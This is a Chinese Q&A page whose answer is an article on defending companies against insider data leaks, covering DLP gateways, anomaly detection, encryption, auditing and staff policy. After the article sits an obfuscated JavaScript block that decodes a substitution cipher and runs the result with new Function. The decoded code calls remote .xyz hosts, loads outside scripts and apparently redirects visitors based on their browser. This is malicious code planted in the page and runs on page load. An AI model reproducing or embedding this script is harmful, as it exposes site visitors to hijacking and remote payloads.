推荐回答(1个)
数据泄露事故往往令人防不胜防,意外或者恶意攻击都能成为企业信息流出的渠道,进而导致商务损失。在本文中我将与大家分享一些技巧,希望能在保护企业数据免遭泄露方面给朋友们带来帮助。 潜伏在互联网隐秘角落中的攻击者更令人担忧,还是对财务等敏感信息了如指掌的企业内部员工更惹人烦恼?事实证明,两者都是IT部门避之而唯恐不速的难缠情况。根据InformationWeek网站发布的2012企业技术专家策略安全调查显示,由企业雇员引发的安全事故与外来网络攻击在影响上已经基本持平。 然而由Verizon发布的2012数据泄露调查报告所认为,内部安全威胁只占攻击总体数量的一小部分——只有4%。既然如此,为什么专家们对它如此重视,甚至有点大惊小怪呢?原因很简单,内部员工了解访问公司重要信息的途径和手段,对系统情况的熟悉令他们拥有数十种难以防范的窃取措施。此外,他们的攻击造成的影响也普遍更大。就在去年,美国银行的一位员工将数百位客户的账户信息发送到了某位恶意人士手中。而后者利用这些数据开始从相关账户中盗窃资金,直接涉案总金额达上千万美元——这还不算美国银行事后为了安抚客户而额外投入的巨额款项。 内部员工给企业带来的威胁正愈发严峻,但IT部门往往仍然把保护重点放在保护网络边界免受外部攻击活动侵扰的工作上。时代已经不同了,目前值得关注的新型犯罪活动温巢就在企业内部——内部网络恶意活动必须尽早得到扼制。显然,在这样的时代背景下,企业应该立即重新考量自己的现有安全战略,并将“内忧”威胁放在与“外患”同等重要的关注层面上。 内部安全威胁发生的原因多种多样,既可能是有意为之、也可能是无心之失。但无论起因如何,大家通常都可以制定一套完备的控制机制最大程度减轻其带来的危害。要解决企业内部威胁,我们应该从三个方面分别入手,即:网络、主机设备以及那些与数据生成、处理以及迁移相关的工作人员。 在网络层面,控制系统必须能够检测并分析网络流量内容,并在可能的情况下及时阻止敏感数据进入传输通道。而在主机设备保护方面,项目则相对更加传统:反恶意软件、加密机制、变更管理以及其它安全控制手段都是不可或缺的有效方案。不过归根结底,果然与人相关的问题才是最麻烦的问题:落实管理政策、对员工进行妥善处理敏感数据方面的培训。在下面的文章中,我将与大家详细聊聊这三大层面的具体实施流程。 网络——严防死守 对于企业内部员工而言,最常见的两种数据传输方式要数电子邮件及网络发送。而无论是蓄意而为还是意外过失,数据泄露的发生同样要依托这两种途径,而且在事故出现之初,具体原因往往并不明朗。使用企业电子邮件账户的员工们往往会在无意之中将敏感数据发送到错误的接收地址。与此同时,意图窃取敏感信息的恶意人士也很可能借助个人网络邮箱账户或者将信息上传至网络文件共享站点的方式实现自己不可告人的目的。 因此,电子邮件与安全网关可谓抵抗意外事件与恶意破坏的第一道防线。这些网关通常用于检查入站流量、垃圾邮件以及恶意软件,同时它们也可以通过合理部署来实现出站流量监控。内部安全网关涵盖的范畴主要指员工所生成的通往网络及邮件的流量,以及充当中继装置或代理之用的线路及操作活动。 诸如BarracudaNetworks、思科IronPort、McAfee以及WebSense等大版网关类产品供应商都推出了各具特色的数据丢失保护功能。由于流量的传递必然要通过网关,因此DLP(即数据泄露防护)模块会镇守在此,了解企业内部的敏感数据是否存在外泄现象。这套保护模块同样会关注特定的数据类型,例如信用卡以及社保号码等内容,用户还可以通过创建分类标签界定哪些文件不应该由企业网络传播到外界环境。一旦模块检测到这类数据有输出行为,管理员会立即得到提醒。流量会立即被冻结,同时相关用户也将收到警告提示。不仅如此,这类潜在的违规行为也会被系统发送到企业中的安全部门、人力资源以及该用户的顶头上司处,这种严厉的惩戒措施无疑会敦促大家在今后的工作中始终保持严肃谨慎的态度。 除了网络与电子邮件流量分析,基于网络的DLP产品还能够监控包括即时通讯、社交网站、点对点文件共享及文件传输协议在内的协议与服务。 然而,在经过加密的信息面前,DLP及其它网站安全产品可就抓瞎了。如果用户事先做过充足的准备,利用像SSH/SCP或者Tor这样的加密网络传输方式发送数据,那么这些内容将能够顺利绕过基于网络的DLP机制。为了解决这一难题,DLP产品通常还包含基于主机以及基于存储设备的DLP方案,这一点我们以后再进行讨论。 异常检测系统是另一种网络层面的备选方案,Lancope公司与Riverbed技术公司堪称这一领域的业界翘楚。此类产品会首先创建出一套正常网络活动的基准指标,再将当前网络活动与指标相比照,并在发生偏离时发出警报。举例来说,网络环境中的每一台计算机通常会与12台其它计算机及服务器产生交互,且每天产生的数据传输量在100MB到200MB之间。如果突然某一天计算机涉及到的交互对象超过了20台(包括计算机、服务器及其它系统在内),或者是针对某文件服务器或数据库的传输量一跃超过500MB大关,这样的异常活动会立即引起系统的关注,并实时向系统管理员发送警报。 卡内基梅隆大学的CERT内部威胁中心已经严格界定了几种主要内部攻击的类型与特征,其中最明显的一点是内部攻击者通常会在决定离开企业的前一个月内开展恶意活动。他们从企业服务器端将敏感数据下载到自己的工作站中,然后通过发送邮件、烧录光盘或者使用U盘拷贝等方式保留副本。不过与前文响应的是,这种超出常规的数据下载量可以及时被网络异常检测系统捕捉并追踪到,同时相关用户的活动将立即被标记并受到监视。 然而,网络活动异常检测系统同样无法全知全能。首先来说,它不会向我们发送内容明确的提示信息,例如:员工Bob似乎在尝试窃取某些敏感记录。恰恰相反,IT部门会得到一份关于应用程序及网络异常活动的报告,而安保团队则负责深入调查。也就是说,日志分析、网络活动审查以及当事人取证等工作要交由完全不懂技术的家伙来完成。这种分别处理的方式往往令调查工作陷入僵局,巨大的安全威胁通常也只能不了了之。IT与安全团队必须筹备大量资金并投入时间与精力,才能对异常活动检测系统做出合理调整,最终通过报告分析及调查得出有价值的安全提示信息。 IT部门同样可以利用专业工具监控数据库中的异常现象。这类工具的主要作用是掌握企业内部员工的动向,因为数据库可以说是珍贵商务信息的大本营。数据库活动监控(简称DAM)产品的主要供应商包括Imperva以及IBM等,它们能够帮助管理员轻松了解用户与数据库服务器之间的交互行为。DAM产品运行于网络或主机层,可以捕捉到许多异常活动,例如平时只访问30到40条信息记录的用户突然在一天之间访问了上千条记录等。 主机——不容疏漏 对于以笔记本电脑与平板设备为代表的主机系统同样应该得到严格保护,力图最大程度避免蓄意或意外违规情况的发生。要实现这一点,最有效的途径之一就是加密技术。在我们组织的安全战略调查当中,有64%的受访者认为加密技术能够有效保护企业免受安全威胁的侵扰。经过加密的笔记本电脑、便携式存储媒介以及移动终端可以令这些设备在失窃之后仍然保证其中的资料安全。精心部署并配置得出的管理政策会保证加密技术在方方面面落实到位,而强大的密码分配策略及保护能力不仅会帮助我们在设备丢失之后不必担忧数据泄露,更能够以远程方式清除设备中的信息。 加密的应用领域还有很多,例如在将文件复制到可移动存储媒介、智能手机以及电子邮件中时,这项技术将令整个过程更加安全。以Credant公司的MobileGuardian以及McAfee公司的TotalProtectionforData为代表的此类产品能够在数据被写入移动设备及便携存储媒介时主动进行加密。出于对鼓励加密技术推广的考量,某些国家的数据违规法令允许企业在数据丢失或被盗时无需通知相关客户该信息是否已被加密。 在安全要求方面特别严格的企业往往勒令禁止员工使用以U盘为代表的各种便携式存储媒介。许多终端保护套件,例如赛门铁克的EndpointProtection以及McAfee的DLP,都会全面或部分禁止U盘的直接使用。 为文件服务器这样的敏感数据源配备适当的访问及审计控制措施也能够有效阻止来自内部员工的恶意行为。方案之一开发基础文件及文件夹层面的审计,通过这种方式管理员就可以追踪用户的访问行为,并实时进行权限提升及软件安装许可等操作。尽管这听起来并不困难,但其中的挑战在于,大多数企业根本不了解自己的敏感数据保存在何处。如果连这些基本情况都未能掌握,那么文件及文件夹审计机制基本上也就形同虚设了。 我们要做的第一步是确定敏感数据的存储位置。DLP产品中已经普遍加入了数据枚举功能,这能够有效帮助IT部门掌握社保号码、医疗记录以及信用卡数据等信息的存储位置。位置确定之后,我们要将数据进行合并,并与相应的用户权限相关联;接下来要做的是通过集中记录或者安全信息及事件管理(简称SIEM)工具实现文件及文件夹审计流程。经过正确配置的提示系统应该会在访问行为发生异常或者外部用户获得访问敏感信息访问权限时及时发出警报。 另一个重要步骤是监控工作站及服务器的配置变更,并在必要时发出警报。突如其来的大规模变更很可能表明某些恶意人士正在或准备侵犯我们的敏感数据。在准备阶段,他们肯定要首先为自己的工作站赋予与管理员等同的高权限,并添加新硬件以进行数据拷贝,或者通过清空或禁用日志系统来掩盖自己的犯罪活动。 SIEM与专业变更管理软件能够及时发现这类活动并提醒管理者,在这方面我推荐Tripwire公司的PolicyManager以及NetIQ公司的SecureConfigurationManager。使用变更及配置管理工具的另一大好处在于,它们通常还拥有工作流管理功能,能够对工作流内容进行处理、核准并根据记录恢复配置变更。 最后,IT部门必须定期记录安全信息、查看日志并依照数据统计结果制定下一步的工作重点。这类工作虽然枯燥繁琐,但意义相当重大。我们不妨回想一下2011年Verizon数据泄露调查报告所给出的结论:“几乎每一次数据泄露事故在真正爆发之前,受害者都有很多机会发现并及时纠正这些问题。但这些重要的记录内容要么干脆没人看,要么看过就算,而没有被融入实际行动。”而在Verizon发布的2012年报告中,这种趋势仍然在持续:调查中84%的受害者根本不知道那些危害极大的数据泄露事故早已在日常记录中留下了蛛丝马迹。事实上只要对现有日志记录系统进行认真检查,这类内部攻击完全可以被扼杀在摇篮中。正是出于这种原因,Verizon公司才建议大型企业“认真监控并深入剖析事件日志”,并将这条建议放在年度箴言的醒目位置。 人为因素——建立规则 研究表明,大部分内部恶意攻击来自那些对企业心怀不满,或者即将离开企业另谋高就的员工。而除此之外,既然是那些没有怨气的雇员,也很可能栽在社交网络及其它网站上遭遇钓鱼攻击,因为一般来说普通群众对恶意链接的危害及特征并不了解。人为因素,才是安全工作最难以逾越的一道鸿沟。 要提高全民防范意识,首先应该建立一套定义准确、易于理解的管理政策。遗憾的是,根据我对当前主流安全架构及政策内容的调查,大多数企业都没能做好这一点。政策条件又臭又长,字里行间极尽晦涩之能事,这使得大多数普通员工根本无法理解甚至阅读此类制度条款。于是乎,员工很快将政策抛诸脑后。他们并不是不想遵守,而是完全没能理解甚至是读完这种长篇大论。 不要在创建管理政策时简单地将需要检查的内容或者规章条款列成一份清单。相反,我们应该推想员工在日常工作中可能遇到的情况,并以此为基础为他们提供操作性较强的指导意见,同时明确列举严格禁止的各类行为。将背景调查、数据处理及分类、企业资源使用许可、安全注意事项及培训与政策制定相结合,力争拿出一套能够真正服务于实际的指导性文件。 组织出详尽的数据分类及实践方案,明确规定哪类数据允许被存储在哪套系统当中、数据应该如何通过网络加以传输、各种加密要求以及数据是否能够存储在移动设备及便携式存储媒介之中。经常与敏感数据及系统打交道的员工则应该严格按照数据分类政策的要求保存信息,并定期进行更新。 如果我们希望员工能够切实遵循政策要求,培训工作也是必不可少的。尽可能利用现有资源帮助企业建立培训计划,包括系统网络安全协会出台的安全工作大纲以及OffensiveSecurity团队制定的企业安全意识培训项目。此外,InformationWeek网站发布的《安全:用户须知》报告中也包含了不少实用技巧,不妨让员工仔细阅读以指导实际业务。 值得一提的是,物理设备安全也是常常被忽视的关键因素。企业往往在制定管理机制方面花尽心思,却没有想到如何避免员工盗窃公有设备。大家不妨在敏感位置部署监控系统,并限制员工的访问行为,以最大程度减少盗窃活动的发生。 金城汤池,严阵以待 要从根本上防止内部威胁,我们需要严查技术漏洞、长期监控员工行为。要做好这两点很不容易,尤其是在内部员工出于工作目的访问敏感数据时。解决问题的关键在于掌握攻击流程、了解潜在动机并将控制方案部署在效果最好的层面。大家不妨先指定那些最需要保护的重要信息,为它们建立坚不可摧的防御机制,再以此为契机总结经验,把心得酌情推广到对网络及主机系统的控制中去。 再就是千万别小看了人为因素。制定便于员工理解并遵守的管理政策,培养他们良好的安全生产习惯,同时始终以警惕的目光关注用户活动中的每个细节。 利用分层方案对网络、主机以及人为因素进行分别控制,这是真理,却离我们很远。实现理想的过程永远坎坷而漫长。正如Verizon公司在2012年度报告(这也是该公司连续第三年发布的报告)中所言,几乎所有内部违规行为都是“有组织、有预谋的结果。”要想真正将内部威胁牢牢控制住,我们可能也得拿出同样“有组织、有预谋”的方案来应对才是。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();